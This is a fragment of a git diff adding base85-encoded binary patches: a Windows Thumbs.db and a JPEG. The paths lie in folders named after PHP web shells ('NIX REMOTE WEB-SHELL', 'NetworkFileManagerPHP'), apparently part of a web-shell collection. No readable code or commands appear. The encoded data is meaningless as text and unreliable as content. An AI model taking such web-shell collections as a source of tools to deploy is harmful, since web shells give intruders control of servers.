z3;U*3v*RHtCYeSB+%ILa7CXRNi}?DAk*#ko12k>S@zXATBt1>(?ph?j8shr2dpa-4 zYSY0U!}^1}*KvHkM4dZqfJ()jz&~X4`MK6}uT;}&3gOxf)xQhwl9Xfm@2?j9pv;+t z!rMtzWR6NL)6kljmzrg*RwyB1VEN6<SJ3G7w{I+lqtT2s1Iz6Zl|znK_joE(9S-xU zSRr;d^Hyi)k<TP@;m%;+NoE6#{k``?<<G<`d|7f+mm0H=2U>@Bpadx!BQjV$wV=f+ zb+86yvE;IF@Y)e`VNP&Km1|?S<mStlyET-;V0Bo{>y%C$X$CNJkLWi`*|$;}j^WI= zjg%CNl$tHD8SpZ2x?*FV{ipX<)uOfer&LbHE1jL|m?{*RHDk{m3*G~D<$vMLEYN%~ zTX>dP>Gvg@+k-$~6{OGRKyGn*7WaaXuc8k>C{Q~P&#-3eFr@GGv`?gq!B(QPt-F)4 z@VF<=1O{RZzGvw_01f9cA8)Tu>!7fHDsZ6zLpZ_KwEWBo&C|CU{ZY0YT4=);B8-@a z$RO70wk;Fn%u)7mp2M?SR<2E+Rn<onRWsLV`@pgikogp7G$QsYlgrx?uE8qL(GT{q zGqUnBD96Z1NNQ?bR>Cie0x26?W?c9h?}>3_$_W1y7!#UfF(8}EndWJrn&D;KYX}&g zDTsU7wM_qQeB2m<%&3gG;rTm?TfY_Wj18WZ`B7mGM*1SJ+7h;<MguG??Ya0w8`y2T z#sS}V(eHM4c@&Tyr{$;7m-<Taho}cVamVW4TD`B>7^QAhiSdX`aB_s}B^ka~k6Xiq zFRZ^OdP|SA=(o-YXhx!N(G4uwiY`m|_)MMTzdJZ<(M+CET|-!%)jqUPGv=D$Wl96y zBxZ7*tXOby?=uLN>wa>n8eloyf!0M4SL`*%%5aZ;5WZfaE_oGKzflo?hxc#3$PaQ` z0YYJnCA3?w|7lxuZ2vzPI(n5hB&6^(%>w`3Kji=S&-<Sn_1}E*{^v&h&yD)`u2cW} JiTY>pe*sWkesTZ+ literal 0 HcmV?d00001 diff --git a/php/PHPshell/NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version/Thumbs.db b/php/PHPshell/NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version/Thumbs.db new file mode 100644 index 0000000000000000000000000000000000000000..8f2476c30614e44534924da46acd479de31b4db6 GIT binary patch literal 8192 zcmeI1XIK=;)_{8mjzmEi0f`bsiPu5$04f;;Bn~Kok|gISVFYCX$ypEq1q39Cl0gtb zl7IwdBxev1$uJ1ad^Nl7y?gJE{dVuKyU(+y`|YakuCA(6r>eT^bngfH$tPter=b53 zd59Fk6DXh~zqt+raUwqp9R!hp2=N?GAP|1J2tgqFxBP`#;1JZ6Xg?xkz=-4kqRrue zqW}s3C4dS*4WI$g0*LAVmcM=r=t9n5^MJS@WylGHZjdjq?jM&EpvU~$3dH%~_atiu z%YEfV4~!Hfx_jc6l;?i$fj@AM49r5mmQM`-z#~5=VIp>7Ajn^W|N02ZhY{yMqE3Ib zd})wYlQ_VDC_=YDtKWhgfE8~4a_LVU>HZ7-(V&F1AEglMPP7}b{(olt9|P&ZD*&Pg z90xD}7y$?X(X>neW&jJ|B!Csb24Dwp05}0$fKvc&01to{zy~-D;0K%moCOE~1OY+- zVSorg6z~rKvHuWlC<ZtW5C=#ABmq(Y;yfh-LRkO`AP0~KC;%=1E&?tA6ah*AWq=Am z6`%%C2WS8;1Firx0a^fUz*T?_Ko_6~&<7X*3<1P)jX-GpBTnoa|BFJL(}{h63XBKB zXTl^zr=g;*0>MD1z6mynFanx}l!S!110e%D`B8FmGBR>XIQ+;_YD#KqDoQFU8rtJ@ zG_>@zR8({)=;#?35eNkJF(&2{jLgRw5sbu4V5Hy~GI9!XatcNoDjLQ=Erd4^{ZYsS zx=9M-hDhjPr1UUC3$Y);$U$w175*VG5>Uq@@S_xzR3JeG7$GoHQW7#!Vy!{y0B|27 zqbEOp>fFU63_7>q+^&qsptvVTc`lVTA$0rJc*V@!f+;9ZFfp^7<U7rO=B&VZaS2H& zX&FT&WffI5bqzgz14Fct@ihxeE9=`fws!6wo?hNQzIX235BVuHEc`)yLSj;K%EQ#O zr`b8V&+_sMp1*umUQt<9T~qtEx#eAJTYE=m|G>vjgV@hQ!&B2UvvczcUly0vH#WDn zcXn}m--&v`Aktsd`ln|9p%*>Si-e4flnhSP3r6A%Af+cGKXvZN@ryd}TdoY;$e^Q) zm*Sq3HBs=0>8>Hn-TEj`@SdOITPLdavu1xxvEctovwte~FTI8#YEl?59w|K-fQL$0 z@vw4sr2SCbY&6QhY=$@Ct~6Jm=iIBnkK;%0XG!{{;+JyP&M8QY2Wy)OzQh&Fj`(ok z)pk~OAC4mBaixz-QHW<3h3wAzNmH0mP%A<1u}HHe`+?@(Tp47s!H`HEx$WT21IDCp zegg+L2V&34crK12AsclbJl@c<vHV0Rbs?*fnbS=**ppdmO9E81i<lV>$jvAdGi|dn zPk9mh6Xq4k0kzA14aZ)Q-1Vkf_juE{Eep~uWS+|hH<pK*=02NPiR(tpYd;St|LS5` z7?mwzJfxub#a3QwQHQ!R6|>bPO@R86*f1RD!_jWGcOs7I%wg6$_i7Kq7NRj_wks$j z3c>5~??XnK#xl|kg-rSCdxeLon1!-J`6`8kBQx?=(N&j!ve2`{6CfO%u?&}Aj2#WI za$Yahs?qGowUgT2XvEb<9=P`p-lFfX;A+dG$E<s9FlI7|A4;o*JE##LyCVwwa@PE< zW^^W(d3%HyI+|}ej$|GL*3C2}Bp2A?d2bySgnw(8SveCZxtP#nenU`aTu#aC;D+@C zzCVy<K>S2mO;!DaFLbD<=3^hUB(d!@>+Y=&DpM+lJ<Bug`5f16X4UWAi^&|UUOn!! z`_5bD{&2`{NO@k}tr!`5U&Z56ZO8G5cM+5I*B=<65rT&W0sEeELPu;lZSb{^qRQtq zb{88Jx8O|*9RAWX6UU#0=1~RR>8*dG{^Bm(-J#)@=<MP<%Kq?u2A|f=7Be=d6>%CW zt$wFskHv6_IJJ1omzEL>cKaI*Je<kXZqFwS-(AnZ_Kn$BP5PC!Ty3dBA?;-S1{*r} zebb%a^`PMS0Tu+Pcd$OexP0F!;{)wPxk}#qQ6y4DaHxU1^_7pQ&6pz3Wjd}co~~>2 z-#i<shnKYT0@BsJ5_pfXT@`b%<`mI7_dvf;$H=y~n6&^C7ZG{*GMzoGZ2rW~v;L{{ zo617!iKH+!=1D{A{K<v19b-{{cJa~V7|&-BiS0IN28PU1a!W4;>gh4my5Z#u(K?9= zHad0k=~$=hG0k%xucJ;nC$Hps=5D{-s5U>VjgY?+k3ERVEODHAY>6}}B17I~zRk6* z5aRZ|^06aptLD~~=(_0f!WFX%xU_{S?@$q?lW~>CMy=4*F530Py->F3J6rihD|m*b z;n8bX=!Z1@L?7MnfP66+-mO-_#r$<k+q!-J-O>%zp4D?R=QRQp>|arAo2=Gu{?XjS zu`Xz`L|Y-refinqnx;&5(TI>!=sc8h(E)Rc00p2&1lJ~}qDD0Zt}TkS7STWEH#Fe2 zB)K>flx9`>_CrWYzeA{IKfnKr&%C;A&f_z3WrMGun|NxRn@c(yuugz@;*I6TK4M1+ zP!}%NB;t{0r8fQb#huEHSIRXHOY|+J+OB+a9;}JFVZP2+;JtpIUP9x%Zt^(X{mty{ z@8~Z=7%F*0VtPs36Xc}}iL00BVqI7>kg#QwO&|Bk@<8s|KC|Xwb33}rY$DJ4DpOpO zV4-mC+D2><$5LVf0jk2Zha`S9vkm0$o_HZ#HH5KY*Hx%G{Zu98v=f7rb83KZX<z5Y z2Wo%uwZ>q7&)m^3GKl0P)Zi`!Z*t#?$dR|OQoYii&4V762FYcQ>3&;5S&xAy%ai%_ zC_c@G#;4MyVG0|<9R%pcQ!o!im}-0H_!!G`FH1(v7&(Z`hR;OXpK^<9kH62#l#srQ zSmvZ_oV}KSuTv&K*(d5Bnc)PVF9pgrVplw`%UV@eM|-MPy`R!^>esu4+T1+x9o^Fy z!d^IStx~u4O0Ddp<dVEh+VDZWVyEwg_6{ybxOaDt?|danj48N*eNj)OU^+ln=Ve<) z{Fso%`_EpoPCB0>Ij<OK(;v`c{WbF+?Z0;FQ6F}eP>TPIY)446Q1C>BX29LC#g=3E z?iBQZve0VI`7jGz!?6n<qs0PobD8ztyX|Ax63bT~sT<&*vTZTb2EKD&$@PUIC4$Nw zS)`#zYCqj3_sK93i#pYQu9{(uI!1NK^#dF}&-t)a<Q0x#rce$gfXmZxyqIguSL-Mz z(Jo0cbm6XL$i<AnFRR^--D|S?`*QE2v|9ZZbC4{_qa(r4DaMd?*^5i6Qy17rWp;zR zgyQT@N~Q>eo=H&N6!E%u*LN#_`cpl<&D$l}*BsnIISfK^QCW0F?u+p-`I*52oZpn; zBa3Ivwgtw+CRARAci&YzaCt6C_h?-}IBDO{U`S!z3LBy9M6UEba`*n`D_;)vO>>g0 z+f)t9hL5~I%bI;eu!mM^MsCUa;{g-R(koM&MQ>CX6S9?k^jHepZ2GbOM@(-q6wUk( zYlUkt=bnuY@%wqAGPa$}LQPL*96Iy%6<bytQWtf^=6G;<z(=nhNx-yEfF6Ps%$!Za zqPZtFq-+|uI~Vr&JU`_$Fn<p$>f~g6jZt#TWMD20>7ih$sba%m4N9zMT1<r^T2gjm zabB`f5-3)`Z29gP7U|`Q2aAFHu2W#5GczPW-=zg(22qkTsr9O^o_RjW!|dng45Ryv z+;m7LOD-(%r_YD3iDrHgUvErVGV4d7OHECUn|!AV9Qv&+c*k#9MMkdg`mJLT*yyCF zseJJ;;n|b*>)mJFt8TWEI}BQfX8J3wf2)}?W5Ahd_HX5ju58=4R8&`|T?+oB^|cZD zh5{~y<z&Q{dm6Po3eNZN2b_43LdRE<SDc>OQe0)Q;jj6i{Wf=Ft8{NW1;1za>{C)~ zIOb(Z;{yKJ{u%~XtMHq6#QXlng+a6ZxdQ*!g7^R{0@QFV$1-yWt*}Xe;D<PcgByx| zR=)Q3LLDwCA`grd89BxFsjFG?9DY2PKa@*=J`^?XzQ1~erhKzwM)a8Po7NSYp)+V( zHr2Z-+C0lQ=3GW}{5`Y6KIQ}(OkEvw4O^}$zP;8qux<ShT;B3`o&?-u0>oWFfJzH7 zhiplA@(;8Y-nQWziV4t`o57Oyq-p8aS%2rb?;(sj#%avM6F(84N)9xW+i=~xIe5e> zzv;#8g{=}KCOFeJtPq!?zlnO6sK(1fO~D^EMtcYSOkZzI(eBB!G^vY|EX*Pp8M3h| z)H^&GZ<s!=@Vd#98;dTAx21dBZ)Aqn3rmC)*h%WzRY~@Zsn7F@1$+)PU{%fEb0<I~ z;)RE0w+N8J;Kc48rZtl`*VdIwt>j742W52_|5~@~Irn$lLOMEB?MK@)P?&}@`zD;5 z!wUOfb<cD^!mBnO!(gcz=h(d}TGW>Lqy1$%n-ZJ6+ojogO2#WPn>n>VJ#3!NEd3I# zIvp8t?EctTF!$(4vb7ZCTiB69fbJ)NkB_X}6g(L}4r}1*h!_=STrVn<YUYUymOEMm zzGsxrn|&u6!c58#pb)+@8$(g8{@4f=(F5Kz)kAWj#<f!ltuZ+D^D*BkjWLs#Fj0<} zw`aj9={^0P0Ku>aXFwTxV5ZE{Ou>_u;&i@wnOB%Df8Tr9xE62AxyAUB0KK_SfKIky zJ^g&=tCHLF2H3Jr#oOnS!Z%Ca<LNb-@Iex0INHW3)dTJ{(L)l4#x-`#+cX!gozpr6 zeD>LIDppBG?M($AUFQ&}s5)Mx;eggrbfRQiaO%lR#|BswFytG{^<-zak%<_0q3w(g zBC|Z$+gEQ8px@>f^KW{h&&#sx3uJaR%yb;+<z_PC>@-gusNOPXJ1rvY^vO~;hyGrS zUCi5SN(~66N!;@fI@b&8dqq|a4oc2d_)PktOMbTv^!*;ERy^M|!*)$?MSKxK*-qj5 zH-?v7X=bFV5~WPS4h8$|qLM@NZ2MCk9UND3c*viI>(8tq?u4t$^7XnzM2*%Gpg6+N zuWPCQH~e+|coFzB{tD|y(ZAP^Ki0*6{q>`C-|9+szmTGdQqDzYu4=XwL?COvllyEp zTaM@FH`Db|=TnPH92L76ND8=>h3tGB*eq{uCS3EvI+Ep-%iMXw%PD{?%8tdvOnf(V zw6m#{?MN~7h|?b~@iDyA6w2;PX8qDUrX~M0n!bxxL#!t&#yN@n*5hlE(i_DMI}$a{ zDFe9LwX>F=41&#NO}>pP9{1sLlXvnvw51-kT4y2MJx2m9x=$3~Ih)s>goZQo9Ocr5 z3pi=XER>A<J!noa)FYjib;zPEjCak%F_m&gQ5DX{h&x8!!(X$E^gH|}t4Hde7l!s~ zpOI!`_($jZ2aA=fDEYJIoi7DMd@x9)YjpGb?d`1+O!rR|(ZXDgUCndWD;@lztCx9q zn(sL}C+arOJ88Mby#A`pB_k@>(o!%UrVy@_k4ZBe#SC+0VO}9-T;JcGsBp;$s8!J) zenT>u@VcgbF>3td%NvTkOY`HO=01@6nyNwptImUW<v1SkUPdx{Qb#qxU;EalNDLqd zkZPrSuYVT>YuQj^k6_kX(){v}@Z<yLDV{FJ`w3sfI`VD`$Vb2J?6GP1go<xsp?prs z^%)6k#T<I3az9D-$%(7Brfz|JP_vG03O#k*O!y0foZG9M_+Y`Hq&ed}w71IU^)t>R zJQ?oqj=2hlyLEd^u`x4?NFwy=q@`yLCk7um#YN1+c*9-jNszU%Iggv8^Sl&b>hn^v zRScU7UD!6kq&+|HCizcxt(dK_MjxhV%z*mV&U{enep9j!6`Wf)RaU?4-~yd$HYx7o zDrfR?<3dP!p^#HZwW<0+owv9y+^4jJKD|Y0^LWG^G)ru(3!Jxr2E1Dfnq{AsY^bX+ z+wZ)Q{*afqnMH9@Z{bB$j!}@50cmEfn_J#|j|#k0!=97xAeGN%EV0J$Y_bWa4y&+` z<}Y@9dH)TqI?c{ZJW}qtu$>D2Q|Pfx;TPl~Q--r^Vv#!vaaj~45tn+^qECx>sdom9 z`^s%-v(av|6(x)aS#+tAofBy0qIQj{USK9blqjq)zM{uim8r|cJ3vlWFKKP4-Lgl0 z-}OyLPv8oqd7ENWheKUaZB8#_Z-ixLj&rQrL!P6bV{p+b>2$D7Y<5gaXNoH`Pa|tU zZQ8p_8y&eS#~$$yXFCgxrnGbVY$$}5PTlytd?A|6Rx;kmsGh@8sila_O;#{Ql$po2 zjbF~sz^6#m>7<0cZQo;+t$6<ZHaOV|PjqUx*B#M=pdy9kafL%NgHDdgN-5v+k?P5K zdz%F&`T}kqmgWsPbcu|+PDzTFl?9uwDv!j%;b_oh4g%!Oku<KOc01jyUS}+9e1XHz zs8-F0<0xe_3)?0Rmf@;VJjYvgnb+AV4o=bTB+2m6;zgTWk9}_!eY|#Zs$8JX<vA|q z&(+_r!qYlD;<cQVrulE4P%;UM>s_!}AY~7*8xd~4aBZl&rG^|qS1C3iZF(=*HQ}p$ z!v+rl%CILu{tsM~^<uLE$RU?=wrDcMiI;c1rJY5T_Z}wmv&yMYC(F`Y>N+|b?X7&( z|6TZmcNJCodd9tC?~hmEBxzQQ4c_{h7HqFxs^y_*<+UD?ZWoWy_I$N-JpW#xHR44$ za|nOF6?4b(y>zsqhD<N~PrP;i^;)I_f9i<-`<p)?`mlfYgzjHg(;{@jw15ZO2;u@h zYGvTN)&@RmWpIWD$4kJMt_OVF%D}IE1^CqMAeSG1Ac+2NVxG{VN$)cLkLQ8>w_J!B K{4M|ME%1L37lp+D literal 0 HcmV?d00001 diff --git a/php/PHPshell/NetworkFileManagerPHP/NetworkFileManagerPHP.jpg b/php/PHPshell/NetworkFileManagerPHP/NetworkFileManagerPHP.jpg new file mode 100644 index 0000000000000000000000000000000000000000..b482ff4f7a5326a53bcd4234924775a1c44de105 GIT binary patch literal 133808 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 